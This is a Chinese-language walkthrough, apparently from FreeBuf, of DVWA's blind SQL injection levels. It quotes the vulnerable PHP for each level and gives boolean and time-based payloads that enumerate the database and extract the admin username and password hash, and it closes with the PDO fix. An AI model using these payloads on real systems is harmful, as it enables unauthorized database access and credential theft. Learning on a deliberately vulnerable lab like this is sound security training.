DVWA下的SQL Injection Blind通关 – 作者:fu福lin林

SQL 盲注介绍:

盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。盲注分为三类:基于布尔SQL盲注基于时间的SQL盲注基于报错的SQL盲注

盲注思路步骤:

1.判断是否存在注入,注入是字符型还是数字型

2.猜解当前数据库名

3.猜解数据库中的表名

4.猜解表中的字段名

5.猜解数据

1、Low级别

<?php 

if( isset( $_GET[ 'Submit' ] ) ) { 
    // Get input 
    $id = $_GET[ 'id' ]; 

    // Check database 
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; 
    $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors 

    // Get results 
    $num = @mysql_numrows( $result ); // The '@' character suppresses errors 
    if( $num > 0 ) { 
        // Feedback for end user 
        echo '<pre>User ID exists in the database.</pre>'; 
    } 
    else { 
        // User wasn't found, so the page wasn't! 
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); 

        // Feedback for end user 
        echo '<pre>User ID is MISSING from the database.</pre>'; 
    } 

    mysql_close(); 
} 

?> 

可以发现Low级别的代码对参数id没有做任何检查、过滤,存在明显的SQL注入漏洞

1.1、判断是否存在注入,注入类型

输入1,显示User ID exists in the database. (显示存在)

1604224787_5f9e8713be32bec1a86f3.png!small?1604224750617

再输入 输入  1′ and 1=1 # ,输出 exists

1604224904_5f9e878846c2281f3f478.png!small?1604224867087

继续输入 1′ and 1=2 #,显示missing。

User ID is MISSING from the database.  (显示不存在)1604224950_5f9e87b63c09b16c54eb5.png!small?1604224913129

说明存在字符型的盲注。

1.2、猜数据库名

1′  and length(database())=1 #

1′  and length(database())=2 #

1′  and length(database())=3 #

先猜数据库名长度,看到哪个数字显示User ID exists in the database,就说明数据库名长度为多少。

1′  and length(database())=1 #,显示不存在,继续

1604225207_5f9e88b72904d4f61554a.png!small?1604225170100

1′  and length(database())=2 #,显示不存在,继续

1604225252_5f9e88e488c20050ec8f3.png!small?1604225215395

1′  and length(database())=3 #,显示不存在,继续

1604225294_5f9e890e83ac5117dacd5.png!small?1604225257368

1′ and length(database())=4 #,显示存在,说明数据库名长度为4。

1604225857_5f9e8b4104ccf6bfff85f.png!small?1604225819847

已知数据库名长度,继续猜解数据库名,这里会用到二分法,有点类似枚举法。

1’ and ascii(substr(databse(),1,1))>97 #,显示存在,说明数据库名的第一个字符的ascii值大于97(小写字母a的ascii值)

1604226222_5f9e8caebd0e493bc5a22.png!small

同时附上ASCII 对应表:

ASCII 码 字符 ASCII 码 字符 ASCII 码 字符 ASCII 码 字符
十进位 十六进位 十进位 十六进位 十进位 十六进位 十进位 十六进位
032 20 056 38 8 080 50 P 104 68 h
033 21 ! 057 39 9 081 51 Q 105 69 i
034 22 058 3A : 082 52 R 106 6A j
035 23 # 059 3B ; 083 53 S 107 6B k
036 24 $ 060 3C < 084 54 T 108 6C l
037 25 % 061 3D = 085 55 U 109 6D m
038 26 & 062 3E > 086 56 V 110 6E n
039 27 063 3F ? 087 57 W 111 6F o
040 28 ( 064 40 @ 088 58 X 112 70 p
041 29 ) 065 41 A 089 59 Y 113 71 q
042 2A * 066 42 B 090 5A Z 114 72 r
043 2B + 067 43 C 091 5B [ 115 73 s
044 2C , 068 44 D 092 5C \ 116 74 t
045 2D 069 45 E 093 5D ] 117 75 u
046 2E . 070 46 F 094 5E ^ 118 76 v
047 2F / 071 47 G 095 5F _ 119 77 w
048 30 0 072 48 H 096 60 ` 120 78 x
049 31 1 073 49 I 097 61 a 121 79 y
050 32 2 074 4A J 098 62 b 122 7A z
051 33 3 075 4B K 099 63 c 123 7B {
052 34 4 076 4C L 100 64 d 124 7C |
053 35 5 077 4D M 101 65 e 125 7D }
054 36 6 078 4E N 102 66 f 126 7E ~
055 37 7 079 4F O 103 67 g 127 7F DEL

1’ and ascii(substr(databse(),1,1))<101 #,显示存在,说明数据库名的第一个字符的ascii值小于101(小写字母e的ascii值)

1604226688_5f9e8e803e2bf04537453.png!small?1604226651097

1’ and ascii(substr(databse(),1,1))<100 #,显示不存在,说明数据库名的第一个字符的ascii值不小于100,(小写字母d的ascii的值)1604226776_5f9e8ed80da9d6d08d155.png!small?1604226738843

1’ and ascii(substr(databse(),1,1))>100 #,显示不存在,说明数据库名的第一个字符的ascii值大于100,(小写字母d的ascii的值)

1604226973_5f9e8f9d59c7439633972.png!small?1604226936260

由此推断数据库名称的第一个字母是d,同理推断下去,可知数据库名为dvwa。

1.3、猜解数据库中的表名

先猜表的数量

1’ and (select count (table_name) from information_schema.tables where table_schema=database())=1 #

显示不存在,说明数据表的数量不为1

1604227199_5f9e907f29b0b89580adf.png!small?1604227162180

1’ and (select count (table_name) from information_schema.tables where table_schema=database())=2 #

1604227293_5f9e90ddea1efc9a1fb2c.png!small?1604227256650

显示存在,说明存在两个表。

接着猜解表名长度

1′ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10 #,输出MISSING,显示不存在,说明长度值小于10

1604227426_5f9e91625950692e931c2.png!small?1604227389243

1′ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>5 #,显示存在,那么说明这个长度值在5-10之间,继续往下猜解。

1604227553_5f9e91e1d0c40bec79b42.png!small?1604227516799

然后在5,6,7,8,9里挨个去试,我这里就不截图了

1′ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,显示存在,那么说第一个表名长度为9。

1604227669_5f9e9255746a7d570ee4f.png!small?1604227632338

然后利用二分法继续猜解第一张表的9个字母都是啥

1′ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 #

直到—— 1′ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 #,对应的字母为g。

同样的方法继续,分别得到其它的8个字母,为u、e、s、t、b、o、o、k,合起来为guestbook。

这是第一张表,第二张表也是如此

1′ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>97 #

一直到猜解结束,可以得出第二张表名为users。

1.4、猜解表中的字段名

已知两张表,guestbook和users,我们直奔users表,信息重要。

1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)>10 #

1604228308_5f9e94d4afab01bc50b7a.png!small?1604228271638

显示不存在,说明表中的字段数量小于10。

1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)>5 #

1604228391_5f9e9527d94a1d031faf5.png!small?1604228354763

那么说这个值在5-10之间,5,6,7,8,9挨个去试

最后

1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=8 #

1604228461_5f9e956d8eb5a65408962.png!small?1604228424531

那说明users表存在8个字段信息。

【猜想】数据库中可能保存的字段名称
用户名:username/user_name/uname/u_name/user/name/…
密码:password/pass_word/pwd/pass/…

所以接下来我们要猜解账户和密码对应的字段是什么

1′ and (select count(*) from information_schema.columns where table_schema=database() and table_name=’users’ and column_name=’user’)=1 #,输出exists

1604228722_5f9e9672084038b6f2084.png!small?1604228684937

1′ and (select count(*) from information_schema.columns where table_schema=database() and table_name=’users’ and column_name=’password’)=1 #,输出exists

1604228754_5f9e9692b4c1e5d7132f7.png!small?1604228717548

所以证明了 users表中有 user和password。

1.5、猜表中的字段值

同样使用二分法来做,直接写最后一步了:

用户名的字段值:1′ and length(substr((select user from users limit 0,1),1))=5 #,输出exists

——说明user字段中第1个字段值的字符长度=5。

密码的字段值:1′ and length(substr((select password from users limit 0,1),1))=32 #,

——说明password字段中第1个字段值的字符长度=32(基本上这么长的密码位数可能是用md5的加密方式保存的)

然后再使用二分法猜解user字段的值:(用户名)

1′ and ascii(substr((select user from users limit 0,1),1,1))=97 #(第一个字符)

1604228931_5f9e97435fe600a042fb7.png!small?1604228894231

第一个字符是a

1′ and ascii(substr((select user from users limit 0,1),2,1))=100 #(第二个字符)

1604228990_5f9e977e2b9e271c51f9a.png!small?1604228952986

第一个字符是d

…  …

最终得到结果是admin。

猜解password字段的值:(密码)

1′ and ascii(substr((select password from users limit 0,1),1,1))>100 #(第一个字符)

… …

最后得到的是32位长的md5加密的字符串,解密就可以得到密码password。

2、medium级别

<?php 

if( isset( $_POST[ ‘Submit’ ]  ) ) { 
// Get input 
$id = $_POST[ ‘id’ ]; 
$id = mysql_real_escape_string( $id ); 

// Check database 
$getid  = “SELECT first_name, last_name FROM users WHERE user_id = $id;”; 
$result = mysql_query( $getid ); // Removed ‘or die’ to suppress mysql errors 

// Get results 
$num = @mysql_numrows( $result ); // The ‘@’ character suppresses errors 
if( $num > 0 ) { 
// Feedback for end user 
echo ‘<pre>User ID exists in the database.</pre>’; 

else { 
// Feedback for end user 
echo ‘<pre>User ID is MISSING from the database.</pre>’; 

//mysql_close(); 

?>

Medium级别的代码利用mysql_real_escape_string函数对特殊符号进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。

1604234119_5f9eab87868c06f9c2d9f.png!small?1604234082424

这一幕是否似曾相识,其实sql注入的medium级别也是这样的,原理基本相同,攻击思路也一样,利用burpsuite工具。

只不过,这次不采用布尔盲注法,采用延时盲注法,但都是二分法进行猜测。

前面的步骤都一样

1 and if(length(database())=1,sleep(5),1) #

1604234462_5f9eacde9ef0c700c497f.png!small?1604234425731

修改id值,放过

1604234515_5f9ead13155cd54bbc9d4.png!small?1604234477819

1 and if(length(database())=4,sleep(5),1) #

1604234559_5f9ead3f627d4e6d90785.png!small?1604234522238

修改id,放过

1604234595_5f9ead63acfdba2b429f1.png!small?1604234558481

明显返回信息时,有延迟,那么说明说明数据库名的长度为4个字符。再就是继续猜解数据库名,原理都一样。详细过程就不截图了,猜解次数有点多。后面就直接说重要过程。

id=1 and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #明显延迟,说明数据中的第一个表名长度为9个字符。同理猜解出两个数据表guestbook和users。

1604234936_5f9eaeb82d4f65026d778.png!small?1604234898995

1604234986_5f9eaeea8370e737d2a04.png!small?1604234949287

id=1 and if((select count(column_name) from information_schema.columns where table_name=0x7573657273 )=8,sleep(5),1) #,明显延迟,说明uers表有8个字段。

1604235072_5f9eaf40b3c2be620bcac.png!small?1604235035510

这段payload中0x7573657273 表示的是16进制码,解码为users。

1604234595_5f9ead63acfdba2b429f1.png!small

后面的也一样,然后一步一步的猜解出用户名和密码。

3、High级别

<?php 

if( isset( $_COOKIE[ ‘id’ ] ) ) { 
// Get input 
$id = $_COOKIE[ ‘id’ ]; 

// Check database 
$getid  = “SELECT first_name, last_name FROM users WHERE user_id = ‘$id’ LIMIT 1;”; 
$result = mysql_query( $getid ); // Removed ‘or die’ to suppress mysql errors 

// Get results 
$num = @mysql_numrows( $result ); // The ‘@’ character suppresses errors 
if( $num > 0 ) { 
// Feedback for end user 
echo ‘<pre>User ID exists in the database.</pre>’; 

else { 
// Might sleep a random amount 
if( rand( 0, 5 ) == 3 ) { 
sleep( rand( 2, 4 ) ); 

// User wasn’t found, so the page wasn’t! 
header( $_SERVER[ ‘SERVER_PROTOCOL’ ] . ‘ 404 Not Found’ ); 

// Feedback for end user 
echo ‘<pre>User ID is MISSING from the database.</pre>’; 

mysql_close(); 

?>

可以看到,High级别的代码利用cookie传递参数id,当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。同时在 SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。真的跟前面的sql注入一样的套路啊,记得利用#进行注释。

1’ and length(database())=4 #

1604235549_5f9eb11d51d767f8f44db.png!small?1604235512109

1604235586_5f9eb1427e5624e3b388e.png!small?1604235549633

显示存在,说明数据库名的长度为4个字符。

1’ and length(substr(( select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #

1604235648_5f9eb1805cff4c66110e2.png!small?1604235611193

显示存在,说明数据中的第一个表名长度为9个字符。

1’ and (select count(column_name) from information_schema.columns where table_name=0x7573657273)=8 #

1604235727_5f9eb1cfcb8dc3c5e2991.png!small?1604235690534

显示存在,说明uers表有8个字段。

4、Impossible级别

<?php 

if( isset( $_GET[ ‘Submit’ ] ) ) { 
// Check Anti-CSRF token 
checkToken( $_REQUEST[ ‘user_token’ ], $_SESSION[ ‘session_token’ ], ‘index.php’ ); 

// Get input 
$id = $_GET[ ‘id’ ]; 

// Was a number entered? 
if(is_numeric( $id )) { 
// Check the database 
$data = $db->prepare( ‘SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;’ ); 
$data->bindParam( ‘:id’, $id, PDO::PARAM_INT ); 
$data->execute(); 

// Get results 
if( $data->rowCount() == 1 ) { 
// Feedback for end user 
echo ‘<pre>User ID exists in the database.</pre>’; 

else { 
// User wasn’t found, so the page wasn’t! 
header( $_SERVER[ ‘SERVER_PROTOCOL’ ] . ‘ 404 Not Found’ ); 

// Feedback for end user 
echo ‘<pre>User ID is MISSING from the database.</pre>’; 


// Generate Anti-CSRF token 
generateSessionToken(); 

?>

Impossible级别的代码采用了PDO技术,大大提高了安全性,基本无法进行绕过注入了。

什么叫PDO技术,见下文连接

https://blog.51cto.com/12332766/2137035

总结

sql盲注比sql注入要难一点,但其实攻击思路都差不多,需要多练习多操作,一定要会二分法,并且熟悉它。

来源:freebuf.com 2020-11-01 21:06:34 by: fu福lin林

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论